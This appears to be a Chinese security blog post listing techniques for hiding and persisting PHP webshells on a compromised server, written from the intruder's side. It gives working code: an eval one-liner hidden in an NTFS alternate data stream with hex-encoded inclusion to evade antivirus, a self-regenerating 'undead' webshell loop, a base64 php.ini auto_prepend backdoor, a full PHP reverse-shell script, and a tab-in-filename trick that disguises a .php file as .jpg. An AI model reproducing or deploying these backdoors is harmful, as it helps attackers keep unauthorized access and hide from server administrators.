<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    php后門隱藏技巧大全

    VSole2022-08-06 08:54:35

    辛辛苦苦拿下的 shell,幾天沒看,管理員給刪了。

    其實隱藏的技巧也有很多

    1.attrib +s +h

    一創建系統隱藏文件:

    attrib +s +a +r +h

    attrib +s +h 文件名

    在 Windows 10下即使開啟了顯示隱藏的項目,或dir仍然看不見。

    2. 利用 ADS 隱藏文件

    NTFS交換數據流(Alternate Data Streams,簡稱 ADS)是 NTFS 磁盤格式的一個特性,在 NTFS文件系統下,每個文件都可以存在多個數據流。

    通俗的理解,就是其它文件可以“寄宿”在某個文件身上,而在資源管理器中卻只能看到宿主文件,找不到寄宿文件。利用ADS 數據流,我們可以做很多有趣的事情。(抄的)

    首先創建 ADS 隱藏文件

    在命令行,echo 一個數據流進去,比如 index 文件是正常文件。

    echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg

    這樣就生成了一個不可見的 index.php:shell.jpg

    使用dir /r查看

    可使用命令直接修改,要刪除的話 直接刪除 index.php就ok了

    第二步,直接使用正常文件包含。

    做一些免殺
    把 index.php:shell.jpg hex 編碼
    <?php
    $a="696E6465782E7068703A7368656C6C2E6A7067";
    // index.php:shell.jpg hex編碼
    $b="a";
    include(PACK('H*',$$b))
    ?>

    3.php環境變量留shell

    在c盤創建這個目錄

    丟個圖片一句話

    然后文件包含,就好。為了隱蔽可以包含圖片馬,txt等。

    4.不死馬

    運行后,會刪除自身,生成一個 webshell.php,管理員刪除后還會生成。

    <?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
    file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
    sleep(5);
    }

    解決覆蓋重寫或者重啟 web 服務刪掉即可。

    <?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
    file_put_contents('webshell.php','clear');
    sleep(1);
    }

    5. php.ini后門

    將下面后門寫入php.ini

    allow_url_include=On
    auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
    // base64 <?php @eval($_REQUEST[cmd]);?>
    // 后門類型可自己修改。

    這些做好后,重啟 web 服務就好了。

    方法1. 如果權限很大的話,自己手動重啟,缺點容易暴露,重啟服務,就要上服務器,某里的服務器,異地登陸有短信提醒。

    方法2.就是加載一個 php_socke.php 腳本,讓他重新加載 php.ini

    此后門,任何php都可菜刀連接

    <?php
    /******************************/
    /*  只適用于windows系統  */
    /******************************/
    while(true){//別問我為什么要死循環,我也不清楚,只有設置成死循環才能加載新的 php.ini ...
    @set_time_limit(0);
    $system=strtoupper(substr(PHP_OS,0,3));
    if(!extension_loaded('sockets'))
    {
    if($system=='WIN'){@dl('php_sockets.dll')ordie("Can't load socket");}
    }
    $host='255.255.255.255';// 搞一個不存在的ip,萬一給人家反彈過去了豈不是真尷尬了~~~
    $port=1998;//別問我為什么是1998,問了我也不會告訴你....
    if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}
    $descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
    $host=gethostbyname($host);
    $proto=getprotobyname("tcp");
    if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket創建失敗");}
    if(($ret=@socket_connect($sock,$host,$port))<0){die("連接失敗");}
    else{
    $message="PHP反彈連接\n";
    @socket_write($sock,$message,strlen($message));
    $cwd=str_replace('\\','/',dirname(__FILE__));
    while($cmd=@socket_read($sock,65535,$proto))
    {
    if(trim(strtolower($cmd))=="exit"){
    socket_write($sock,"Bye\n");exit;
    }else{
    $process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
    if(is_resource($process)){
    fwrite($pipes[0],$cmd);
    fclose($pipes[0]);
    $msg=stream_get_contents($pipes[1]);
    socket_write($sock,$msg,strlen($msg));
    fclose($pipes[1]);
    $msg=stream_get_contents($pipes[2]);
    socket_write($sock,$msg,strlen($msg));
    $return_value=proc_close($process);
    }
    }
    }
    }
    }
    ?>
    //此腳本非百分百成功

    6. 關鍵字拆分,多文件包含!

    比如一句話:@eval($_POST['x']);我們可以寫成$a=$_POST['x'];@eval($a);

    我們可以將 $a=$_POST['x'];寫入一個文件 POST.php

    然后在 @eval($a); 一句話的上方使用 include "POST.php";的方式引用!

    7.將真正的一句話寫入數據庫

    當我們發現源碼有個地方執行了數據庫操作,那我們就可以改源碼和數據庫啦~

    比如,修改成 eval(查出的數據);

    8.以下是linux的

    無意中發現的。具體看代碼。

    <?php
    $webpath = dirname(__FILE__)."/";
    file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的內容(比如寫
    個一句話)");
    ?>
    

    生成一個文件。

    在目錄下看到是顯示 名字為 guige.jpg

    但是 web 瀏覽 卻發現 沒有找到 guige.jpg 后來發現 需要添 guige.jpg%09.php  

    這樣的話就導致我們可以對后門隱藏了。。管理員看到的是.jpg 我們卻可以 web 用.php 解析來

    連接。。。有用的到的可以看看。

    phpeval
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    php后門隱藏技巧大全
    2022-08-06 08:54:35
    辛辛苦苦拿下的 shell,幾天沒看,管理員給刪了。 其實隱藏的技巧也有很多
    史上最全一句話木馬
    2022-10-26 09:29:39
    史上最全一句話木馬
    審計test.php知,當參數$a不為空,且讀取的文件中包含’I want flag’時,即可顯示$flag。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取。POC1直接讀取xxx.php文件,但大多數時候很多信息無法直接顯示在瀏覽器頁面上,所以需要采取POC2中方法將文件內容進行base64編碼后顯示在瀏覽器上,再自行解碼。
    0x00 前言常見webshell管理工具的分析記錄,著重在流量側。0x01 caidao1、配置使用菜刀是一款專業的網站管理軟件,用途廣泛,使用方便,小巧實用。支持動態腳本[如php/jsp/aspx/asp]的網站!新版antSword的ua也做了隨機變換。在內置的rot13編碼和解碼器下,數據會通過隨機變量傳遞給str_rot13函數,通過變換還原后再交給eval函數執行。
    寫在前面關于無字母數字Webshell這個話題,可以說是老生常談了。之前打 CTF 的時候也經常會遇到,每次都讓人頭大,所謂無字符webshell,其基本原型就是對以下代碼的繞過:PHP中的異或來看這樣一段代碼:
    ThinkPHP框架漏洞總結
    2023-05-18 15:25:22
    ThinkPHP可以支持windows/Unix/Linux等服務器環境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多種數據庫以及PDO擴展,是一款跨平臺,跨版本以及簡單易用的PHP框架。導致用戶的輸入參數被插入雙引號中執行,造成任意代碼執行漏洞ThinkPHP 3.0版本因為Lite模式下沒有修復該漏洞,也存在這個漏洞。preg_replace這個函數使用方法如下:preg_replace. 關于/e的解釋:e 配合函數preg_replace()使用, 可以把匹配來的字符串當作正則表達式執行;> #需要進行url編碼
    Webshell-Sniper是一款使用Python編寫的基于終端的Webshell管理器,和以往我們分享的Webshell管理工具有所不同,所有操作都在終端中完成。使用它可對您的網站進行遠程管理。雖然它沒有圖形化的GUI也沒有WEB界面,但這樣的操作也是另有一翻感覺。功能基于終端的shell交互反向連接shell數據庫管理Webshell-Sniper安裝與使用環境服務端 :. 需要注意的是,Webshell-Sniper服務端只支持Unix系統環境。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类